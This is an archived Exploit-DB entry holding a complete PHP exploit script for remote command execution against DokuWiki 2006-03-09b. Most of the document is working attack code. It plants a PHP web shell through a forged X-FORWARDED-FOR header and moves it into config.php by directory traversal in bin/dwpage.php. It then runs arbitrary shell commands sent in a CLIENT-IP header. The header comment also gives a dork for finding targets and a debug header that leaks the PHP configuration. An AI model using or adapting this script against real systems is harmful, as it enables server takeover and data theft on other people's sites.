Exploit-DB #2321
Description: DokuWiki 2006-03-09b - 'dwpage.php' Remote Code Execution
Type: webapps
Platform: php
Date: 2006-09-07
Author: rgod

Exploit:
#!/usr/bin/php -q -d short_open_tag=on
<?
print_r('
--------------------------------------------------------------------------------
DokuWiki <= 2006-03-09b release /bin/dwpage.php remote commands execution xploit
by rgod rgod@autistici.org
site: http://retrogod.altervista.org
dork: "Driven by DokuWiki"
--------------------------------------------------------------------------------
');
/*
works with register_argc_argv = On
*/
if ($argc<4) {
print_r('
--------------------------------------------------------------------------------
Usage: php '.$argv[0].' host path cmd OPTIONS
host:      target server (ip/hostname)
path:      path to dokuwiki
cmd:       a shell command
Options:
 -p[port]:    specify a port other than 80
 -P[ip:port]: specify a proxy
Example:
php '.$argv[0].' localhost /wiki/ ls -la -P1.1.1.1:80
php '.$argv[0].' localhost /wiki/ ls -la -p81
--------------------------------------------------------------------------------
');
die;
}
/* software site: http://wiki.splitbrain.org/wiki:dokuwiki

   there are some shell scripts in /bin folder and there is no .htaccess to
   protect it: most dangerous one is dwpage.php, if register_argc_argv = On
   it allows to copy/move files among folders because of $TARGET_FN var
   directory traversal, also you can inject a shell by main doku.php script
   sending a malicious X-FORWARDED-FOR http header (but you could do the same
   uploading some file in /data/media folder through /lib/exe/media.php...,
   I choosed the first solution)

   also, I noticed, you can disclose php configuration by
   setting an http header like this calling the main doku.php
   script:

   X-DOKUWIKI-DO: debug

   (debug feature is enabled by default...)
*/

error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout",5);

function quick_dump($string)
{
  $result='';$exa='';$cont=0;
  for ($i=0; $i<=strlen($string)-1; $i++)
  {
   if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))
   {$result.="  .";}
   else
   {$result.="  ".$string[$i];}
   if (strlen(dechex(ord($string[$i])))==2)
   {$exa.=" ".dechex(ord($string[$i]));}
   else
   {$exa.=" 0".dechex(ord($string[$i]));}
   $cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}
  }
 return $exa."\r\n".$result;
}
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
function sendpacketii($packet)
{
  global $proxy, $host, $port, $html, $proxy_regex;
  if ($proxy=='') {
    $ock=fsockopen(gethostbyname($host),$port);
    if (!$ock) {
      echo 'No response from '.$host.':'.$port; die;
    }
  }
  else {
   $c = preg_match($proxy_regex,$proxy);
    if (!$c) {
      echo 'Not a valid proxy...';die;
    }
    $parts=explode(':',$proxy);
    echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";
    $ock=fsockopen($parts[0],$parts[1]);
    if (!$ock) {
      echo 'No response from proxy...';die;
   }
  }
  fputs($ock,$packet);
  if ($proxy=='') {
    $html='';
    while (!feof($ock)) {
      $html.=fgets($ock);
    }
  }
  else {
    $html='';
    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
      $html.=fread($ock,1);
    }
  }
  fclose($ock);
  #debug
  #echo "\r\n".$html;
}

$host=$argv[1];
$path=$argv[2];
$cmd="";
$port=80;
$proxy="";
for ($i=3; $i<$argc; $i++){
$temp=$argv[$i][0].$argv[$i][1];
if (($temp<>"-p") and ($temp<>"-P")) {$cmd.=" ".$argv[$i];}
if ($temp=="-p")
{
  $port=str_replace("-p","",$argv[$i]);
}
if ($temp=="-P")
{
  $proxy=str_replace("-P","",$argv[$i]);
}
}
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}

//create /data/pages/suntzu.txt.lock and inject the shell code
$data="do=edit&rev=&id=suntzu";
$packet="POST ".$p."doku.php HTTP/1.0\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="X-FORWARDED-FOR: <?php set_time_limit(0);echo 'my_delim';passthru(\$_SERVER['HTTP_CLIENT_IP']);die;?>\r\n";
$packet.="Content-Type: application/x-www-form-urlencoded\r\n";
$packet.="Content-Length: ".strlen($data)."\r\n";
$packet.="Connection: Close\r\n\r\n";
$packet.=$data;
sendpacketii($packet);
sleep(1);

//copy /data/pages/suntzu.txt.lock to /data/pages/wiki/suntzu.txt
$packet="GET ".$p."bin/dwpage.php?-m+\"suntzu\"+commit+../data/pages/suntzu.txt.lock+wiki:suntzu HTTP/1.0\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Connection: Close\r\n\r\n";
sendpacketii($packet);
sleep(1);

//copy /data/pages/wiki/suntzu.txt to config.php inside main folder
$packet="GET ".$p."bin/dwpage.php?-m+\"suntzu\"+checkout+wiki:suntzu+../config.php HTTP/1.0\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Connection: Close\r\n\r\n";
sendpacketii($packet);
sleep(1);

//launch commands...
$packet="GET ".$p."config.php HTTP/1.0\r\n";
$packet.="CLIENT-IP: $cmd\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Connection: Close\r\n\r\n";
sendpacketii($packet);
if (strstr($html,"my_delim")){echo "exploit succeeded...\r\n";$temp=explode("my_delim",$html);die($temp[1]);}
else { echo "exploit failed...\r\n";}
?>

# milw0rm.com [2006-09-07]